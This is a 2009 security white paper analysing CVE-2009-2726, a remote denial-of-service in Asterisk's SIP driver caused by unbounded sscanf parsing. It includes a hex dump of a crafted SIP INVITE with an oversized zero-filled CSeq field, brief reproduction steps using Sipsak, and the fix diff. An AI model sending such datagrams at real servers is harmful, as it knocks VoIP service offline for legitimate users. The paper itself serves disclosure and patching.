



**HISPASEC SISTEMAS**

SEGURIDAD Y TECNOLOGÍAS  
DE LA INFORMACIÓN

**White paper:  
Asterisk SIP Channel Driver 'scanf' Multiple DoS  
August 2009**

Hugo Teso, Hispasec Lab



## Index

---

<b>1</b>	<b>INTRODUCTION</b>	<b>3</b>
<b>2</b>	<b>DESCRIPTION</b>	<b>3</b>
<b>3</b>	<b>PROOF OF CONCEPT</b>	<b>6</b>
<b>4</b>	<b>SOLUTION</b>	<b>6</b>

### Hispacec Sistemas S.L.

Avda Juan López Peñalver, 17  
Edificio Centro de Empresas CEPTA  
Parque Tecnológico de Andalucía  
29590 Campanillas (Málaga)

Telf: (+34) 902 161 025  
Fax: (+34) 952 028 694

**Información General**  
info@hispasec.com

**Comercial**  
comercial@hispasec.com

[www.hispasec.com](http://www.hispasec.com)

### Copyright

El Copyright de este documento es propiedad de Hispasec Sistemas S.L. Hispasec Sistemas S.L. proporciona este documento bajo la condición de que será tratado con confidencialidad. No está permitida su reproducción total o parcial ni su uso con otras organizaciones para ningún otro propósito, excepto autorización previa por escrito.

# 1 Introduction

Asterisk is prone to multiple remote denial-of-service vulnerabilities.

Successful exploits can crash the SIP channel driver, resulting in denial-of-service conditions for legitimate users.

On certain implementations of libc, the scanf family of functions uses an unbounded amount of stack memory to repeatedly allocate string buffers prior to conversion to the target type. Coupled with Asterisk's allocation of thread stack sizes that are smaller than the default, an attacker may exhaust stack memory in the SIP stack network thread by presenting excessively long numeric strings in various fields.

## 2 Description

Product: Asterisk

Type: Remote Denial of Service

Severity: High

CVE: CVE-2009-2726

The Mu Dynamics Research team has found several vulnerabilities stemming from unsafe use of the sscanf C standard library function.

```
Reads data from str and stores them according to the parameter format into the locations given by the additional arguments. Locations pointed by each additional argument are filled with their corresponding type of value specified in the format string.
```

```
int sscanf(const char *string, const char *format,...);
```

The sscanf function is used in several places in Asterisk source code for parsing numeric values from ASCII text in incoming SIP messages.

```
The Session Initiation Protocol (SIP) is a signalling protocol, widely used for controlling multimedia communication sessions such as voice and video calls over Internet Protocol (IP). Other feasible application examples include video conferencing, streaming multimedia distribution, instant messaging, presence information and online games.
```

```
SIP employs design elements similar to HTTP-like request/response transaction model. Each transaction consists of a client request that invokes a particular method or function on the server and at least one response. SIP reuses most of the header fields, encoding rules and status codes of HTTP, providing a readable text-based format.
```

Wikipedia

These calls to sscanf generally fail to specify a maximum width for the field being parsed. With no width specified, sscanf defaults to a maximum width of infinity.

E.g. the following sscanf call used to parse out the CSeq value from the SIP header is vulnerable (chan\_sip.c, line 19578):

```
if (!error && sscanf(cseq, "%d%n", &seqno, &len) != 1) {
```

A remote attacker can take advantage of this by crafting a SIP Invite message with a large number of ASCII decimal characters in a position where a numeric value is being parsed.

Here you can see an example of a malicious SIP datagram that could end in a DoS situation:

```
0000 00 0c 29 00 00 00 00 50 56 00 00 00 08 00 45 00  ..).y$.P V.....E.
0010 05 dc c0 c2 20 00 40 11 78 fa c0 a8 4d 02 c0 a8  .... .@. x...M...
0020 4d 01 b7 9e 13 c4 83 0b 07 de 49 4e 56 49 54 45  M..... ..INVITE
0030 20 73 69 70 3a 62 6f 62 40 31 39 32 2e 31 36 38  sip:bob @192.168
0040 2e 37 37 2e 31 20 53 49 50 2f 32 2e 30 2f 55 44 50 20  .77.1 SI P/2.0..V
0050 69 61 3a 20 53 49 50 2f 32 2e 30 2f 55 44 50 20  ia: SIP/ 2.0/UDP
0060 31 39 32 2e 31 36 38 2e 37 37 2e 32 3a 34 37 30  192.168. 77.2:470
0070 30 36 3b 62 72 61 6e 63 68 3d 7a 39 68 47 34 62  06;branc h=z9hG4b
0080 4b 4e 44 66 34 77 6c 53 73 44 64 3b 72 70 6f 72  KNdf4w1S sDd;rpor
0090 74 0d 0a 54 6f 3a 20 22 42 6f 62 22 20 3c 73 69  t..To: " Bob" <si
00a0 70 3a 62 6f 62 40 31 39 32 2e 31 36 38 2e 37 37  p:bob@19 2.168.77
00b0 2e 31 3e 0d 0a 46 72 6f 6d 3a 20 22 41 6c 69 63  .1>..Fro m: "Alic
00c0 65 22 20 3c 73 69 70 3a 61 6c 69 63 65 40 31 39  e" <sip: alice@19
00d0 32 2e 31 36 38 2e 37 37 2e 32 3e 3b 74 61 67 3d  2.168.77 .2>;tag=
00e0 63 48 43 47 73 38 4e 54 51 69 0d 0a 43 61 6c 6c  cHCGs8NT Qi..Call
00f0 2d 49 44 3a 20 73 69 70 5f 69 6e 76 69 74 65 5f  -ID: sip _invite_
0100 62 79 65 2e 69 6e 76 69 74 65 2e 68 65 61 64 65  bye.invi te.heade
0110 72 73 2e 63 2d 73 65 71 2e 76 61 6c 75 65 2e 73  rs.c-seq .value.s
0120 65 71 2e 70 72 65 70 65 6e 64 3a 30 2b 6e 72 69  eq.prepe nd:0+nri
0130 54 64 6c 7a 37 4d 78 40 6d 75 64 79 6e 61 6d 69  Tdlz7Mx@ mudynami
0140 63 73 2e 63 6f 6d 0d 0a 43 53 65 71 3a 20 30 30  cs.com.. CSeq: 00
0150 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  00000000 00000000
...
05d0 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  00000000 00000000
05e0 30 30 30 30 30 30 30 30 30 30 00000000 00
```

That is the same datagram with all the fields shown separately:

```
###[ Ethernet ]###
dst= 00:0c:29:00:00:00
src= 00:50:56:00:00:00
type= IPv4
###[ IP ]###
```



```
@@ -1639,9 +1639,9 @@  
-         if (sscanf(chan, "%d-%d", &start, &finish) == 2) {  
+         if (sscanf(chan, "%30d-%30d", &start, &finish) == 2) {  
+             /* Range */  
-         } else if (sscanf(chan, "%d", &start)) {  
+         } else if (sscanf(chan, "%30d", &start)) {
```

### 3 Proof of concept

All necessary datagrams can be easily constructed and sent to check the effectiveness of this vulnerability by using the tool Sipsak (SIP swiss army knife), a packet crafter tool like Nemesis or Scapy but focused on SIP protocol. More information regarding this tool can be found at it's web: <http://sipsak.org/>

In order to reproduce the DoS attack it only necessary to send a SIP Invite with some of the vulnerable fields (Cseq, Content-Length or SDP) set to a very large number of ASCII Decimal characters (such as 32768 zeroes).

### 4 Solution

Update to last Asterisk version:

1.2.34, 1.4.26.1, 1.6.0.12 y 1.6.1.4.

More Information:

Asterisk Project Security Advisory - AST-2009-005

Remote Crash Vulnerability in SIP channel driver

<http://downloads.asterisk.org/pub/security/AST-2009-005.html>

